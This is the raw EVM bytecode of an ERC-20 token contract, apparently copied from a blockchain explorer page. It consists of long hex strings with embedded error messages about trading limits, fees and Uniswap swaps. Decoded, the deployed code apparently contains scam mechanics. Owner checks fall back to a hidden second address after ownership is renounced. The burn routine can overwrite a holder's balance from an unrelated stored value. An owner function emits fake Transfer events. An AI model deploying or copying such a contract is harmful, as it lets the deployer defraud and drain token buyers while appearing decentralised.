0000000000000000000000000000000000000000000000000000000602082015250565b6000613b77602383612b2a565b9150613b8282613b1b565b604082019050919050565b60006020820190508181036000830152613ba681613b6a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613be3601683612b2a565b9150613bee82613bad565b602082019050919050565b60006020820190508181036000830152613c1281613bd6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374695f69734578636c7564656446726f6d466565736f60208201527f6e416d6f756e742e000000000000000000000000000000000000000000000000604082015250565b6000613c9b604883612b2a565b9150613ca682613c19565b606082019050919050565b60006020820190508181036000830152613cca81613c8e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d07601383612b2a565b9150613d1282613cd1565b602082019050919050565b60006020820190508181036000830152613d3681613cfa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d99603683612b2a565b9150613da482613d3d565b604082019050919050565b60006020820190508181036000830152613dc881613d8c565b9050919050565b6000613dda82612c43565b9150613de583612c43565b9250828203905081811115613dfd57613dfc613394565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e5f602183612b2a565b9150613e6a82613e03565b604082019050919050565b60006020820190508181036000830152613e8e81613e52565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ef1602283612b2a565b9150613efc82613e95565b604082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613f83602683612b2a565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614015602483612b2a565b915061402082613fb9565b604082019050919050565b6000602082019050818103600083015261404481614008565b9050919050565b60008151905061405a81612c17565b92915050565b60006020828403121561407657614075612bdb565b5b60006140848482850161404b565b91505092915050565b60006140a86140a361409e84612be5565b612fe0565b612c43565b9050919050565b6140b88161408d565b82525050565b6000819050919050565b60006140e36140de6140d9846140be565b612fe0565b612c43565b9050919050565b6140f3816140c8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61412e81612c05565b82525050565b60006141408383614125565b60208301905092915050565b6000602082019050919050565b6000614164826140f9565b61416e8185614104565b935061417983614115565b8060005b838110156141aa5781516141918882614134565b975061419c8361414c565b92505060018101905061417d565b5085935050505092915050565b600060a0820190506141cc60008301886140af565b6141d960208301876140ea565b81810360408301526141eb8186614159565b90506141fa60608301856130c7565b6142076080830184612ebf565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061424b82612c43565b915061425683612c43565b92508261426657614265614211565b5b82820490509291505056fea2646970667358221220ad29780e6870778cd88d79b1ea2848bdd2e703771ff168450c7b5b09a35de4b364736f6c6343000811003300000000000000000000000016543a4c8f4e9eb26d2ca81c81c4bccc9a0320bb

Deployed Bytecode

0x60806040526004361061021e5760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063e2f456051161006f578063e2f4560514610780578063f1ac4328146107ab578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c8c8ebe4146106ab578063c9567bf9146106d6578063cf9522fd146106ed578063dd62ed3e14610718578063dd8546521461075557610225565b8063a457c2d7116100f2578063a457c2d7146105b6578063a9059cbb146105f3578063afa4f3b214610630578063b18834aa14610659578063c2b7bbb61461068257610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b80633be6e637116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806318160ddd116101ed57806318160ddd146102d257806323b872dd146102fd578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c06146102925780631111f43f146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102d060048036038101906102cb9190612e63565b610a6d565b005b3480156102de57600080fd5b506102e7610b72565b6040516102f49190612ece565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612ee9565b610b7c565b6040516103319190612cd4565b60405180910390f35b34801561034657600080fd5b5061034f610bab565b60405161035c9190612ece565b60405180910390f35b34801561037157600080fd5b5061037a610bb1565b6040516103879190612f58565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c79565b610bba565b6040516103c49190612cd4565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612f73565b610bf1565b005b34801561040257600080fd5b5061041d60048036038101906104189190612fb3565b610c5c565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061303f565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c6004803603810190610497919061305a565b610caf565b6040516104a99190612ece565b60405180910390f35b3480156104be57600080fd5b506104c7610cf7565b005b3480156104d557600080fd5b506104de610d0b565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613087565b610d30565b005b34801561051557600080fd5b5061051e610d93565b005b34801561052c57600080fd5b50610535610db8565b005b34801561054357600080fd5b5061054c610e4c565b60405161055991906130d6565b60405180910390f35b34801561056e57600080fd5b50610577610e76565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613087565b610f08565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612c79565b610fae565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b611025565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612fb3565b611048565b005b34801561066557600080fd5b50610680600480360381019061067b919061314c565b611078565b005b34801561068e57600080fd5b506106a960048036038101906106a4919061305a565b611155565b005b3480156106b757600080fd5b506106c06111a1565b6040516106cd9190612ece565b60405180910390f35b3480156106e257600080fd5b506106eb6111a7565b005b3480156106f957600080fd5b506107026111cc565b60405161070f9190612ece565b60405180910390f35b34801561072457600080fd5b5061073f600480360381019061073a91906131ac565b6111d2565b60405161074c9190612ece565b60405180910390f35b34801561076157600080fd5b5061076a611259565b6040516107779190612ece565b60405180910390f35b34801561078c57600080fd5b5061079561125f565b6040516107a29190612ece565b60405180910390f35b3480156107b757600080fd5b506107d260048036038101906107cd919061305a565b611265565b6040516107df9190612cd4565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a919061305a565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612ece565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161096491906130d6565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b610a75611528565b60005b8251811015610b6d578160016000858481518110610a9957610a98613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610b0557610b04613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610b529190612cd4565b60405180910390a28080610b65906133c3565b915050610a78565b505050565b6000600354905090565b600080610b87611357565b9050610b948582856115a6565b610b9f858585611632565b60019150509392505050565b60115481565b60006009905090565b600080610bc5611357565b9050610be6818585610bd785896111d2565b610be1919061340b565b61135f565b600191505092915050565b610bf9611528565b60148211158015610c0b575060328111155b610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c419061348b565b60405180910390fd5b81601381905550806012819055505050565b610c64611528565b610c75610c6f611357565b82611f8e565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cff611528565b610d096000612163565b565b610d13611528565b6000610d1d610b72565b905080600f8190555080600e8190555050565b610d38611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d9b611528565b6001601460006101000a81548160ff021916908315150217905550565b610dc0611528565b60004711610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e49573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e859061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610eb19061321b565b8015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b610f10611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790613589565b60405180910390fd5b610faa8282612229565b5050565b600080610fb9611357565b90506000610fc782866111d2565b90508381101561100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110039061361b565b60405180910390fd5b611019828686840361135f565b60019250505092915050565b600080611030611357565b905061103d818585611632565b600191505092915050565b611050611528565b611058610bb1565b600a611064919061376e565b8161106f91906137b9565b60108190555050565b611080611528565b60005b8383905081101561114f578383828181106110a1576110a0613365565b5b90506020020160208101906110b6919061305a565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111349190612ece565b60405180910390a38080611147906133c3565b915050611083565b50505050565b61115d611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6111af611528565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612ece565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b284846111d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610caf565b82611a76919061340b565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610caf565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612ece565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612ece565b60405180910390a361254e848484612a61565b50505050565b600061255f30610caf565b905060008082036125715750506126e3565b6000601254601354612583919061340b565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc612cf4565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d2c82612b65565b810181811067ffffffffffffffff82111715612d4b57612d4a612cf4565b5b80604052505050565b6000612d5e612bd1565b9050612d6a8282612d23565b919050565b600067ffffffffffffffff821115612d8a57612d89612cf4565b5b602082029050602081019050919050565b600080fd5b6000612db3612dae84612d6f565b612d54565b90508083825260208201905060208402830185811115612dd657612dd5612d9b565b5b835b81811015612dff5780612deb8882612c2e565b845260208401935050602081019050612dd8565b5050509392505050565b600082601f830112612e1e57612e1d612cef565b5b8135612e2e848260208601612da0565b91505092915050565b612e4081612cb9565b8114612e4b57600080fd5b50565b600081359050612e5d81612e37565b92915050565b60008060408385031215612e7a57612e79612bdb565b5b600083013567ffffffffffffffff811115612e9857612e97612be0565b5b612ea485828601612e09565b9250506020612eb585828601612e4e565b9150509250929050565b612ec881612c43565b82525050565b6000602082019050612ee36000830184612ebf565b92915050565b600080600060608486031215612f0257612f01612bdb565b5b6000612f1086828701612c2e565b9350506020612f2186828701612c2e565b9250506040612f3286828701612c64565b9150509250925092565b600060ff82169050919050565b612f5281612f3c565b82525050565b6000602082019050612f6d6000830184612f49565b92915050565b60008060408385031215612f8a57612f89612bdb565b5b6000612f9885828601612c64565b9250506020612fa985828601612c64565b9150509250929050565b600060208284031215612fc957612fc8612bdb565b5b6000612fd784828501612c64565b91505092915050565b6000819050919050565b6000613005613000612ffb84612be5565b612fe0565b612be5565b9050919050565b600061301782612fea565b9050919050565b60006130298261300c565b9050919050565b6130398161301e565b82525050565b60006020820190506130546000830184613030565b92915050565b6000602082840312156130705761306f612bdb565b5b600061307e84828501612c2e565b91505092915050565b6000806040838503121561309e5761309d612bdb565b5b60006130ac85828601612c2e565b92505060206130bd85828601612e4e565b9150509250929050565b6130d081612c05565b82525050565b60006020820190506130eb60008301846130c7565b92915050565b600080fd5b60008083601f84011261310c5761310b612cef565b5b8235905067ffffffffffffffff811115613129576131286130f1565b5b60208301915083602082028301111561314557613144612d9b565b5b9250929050565b60008060006040848603121561316557613164612bdb565b5b600084013567ffffffffffffffff81111561318357613182612be0565b5b61318f868287016130f6565b935093505060206131a286828701612c64565b9150509250925092565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f60008301856130c7565b61331c6020830184612ebf565b9392505050565b60008151905061333281612e37565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ce82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613400576133ff613394565b5b600182019050919050565b600061341682612c43565b915061342183612c43565b925082820190508082111561343957613438613394565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613475601683612b2a565b91506134808261343f565b602082019050919050565b600060208201905081810360008301526134a481613468565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134e1601683612b2a565b91506134ec826134ab565b602082019050919050565b60006020820190508181036000830152613510816134d4565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613573603983612b2a565b915061357e82613517565b604082019050919050565b600060208201905081810360008301526135a281613566565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613605602583612b2a565b9150613610826135a9565b604082019050919050565b60006020820190508181036000830152613634816135f8565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136925780860481111561366e5761366d613394565b5b600185161561367d5780820291505b808102905061368b8561363b565b9450613652565b94509492505050565b6000826136ab5760019050613767565b816136b95760009050613767565b81600181146136cf57600281146136d957613708565b6001915050613767565b60ff8411156136eb576136ea613394565b5b8360020a91508482111561370257613701613394565b5b50613767565b5060208310610133831016604e8410600b841016171561373d5782820a90508381111561373857613737613394565b5b613767565b61374a8484846001613648565b9250905081840481111561376157613760613394565b5b81810290505b9392505050565b600061377982612c43565b915061378483612f3c565b92506137b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461369b565b905092915050565b60006137c482612c43565b91506137cf83612c43565b92508282026137dd81612c43565b915082820484148315176137f4576137f3613394565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613857602683612b2a565b9150613862826137fb565b604082019050919050565b600060208201905081810360008301526138868161384a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138e9602483612b2a565b91506138f48261388d565b604082019050919050565b60006020820190508181036000830152613918816138dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061397b602283612b2a565b91506139868261391f565b604082019050919050565b60006020820190508181036000830152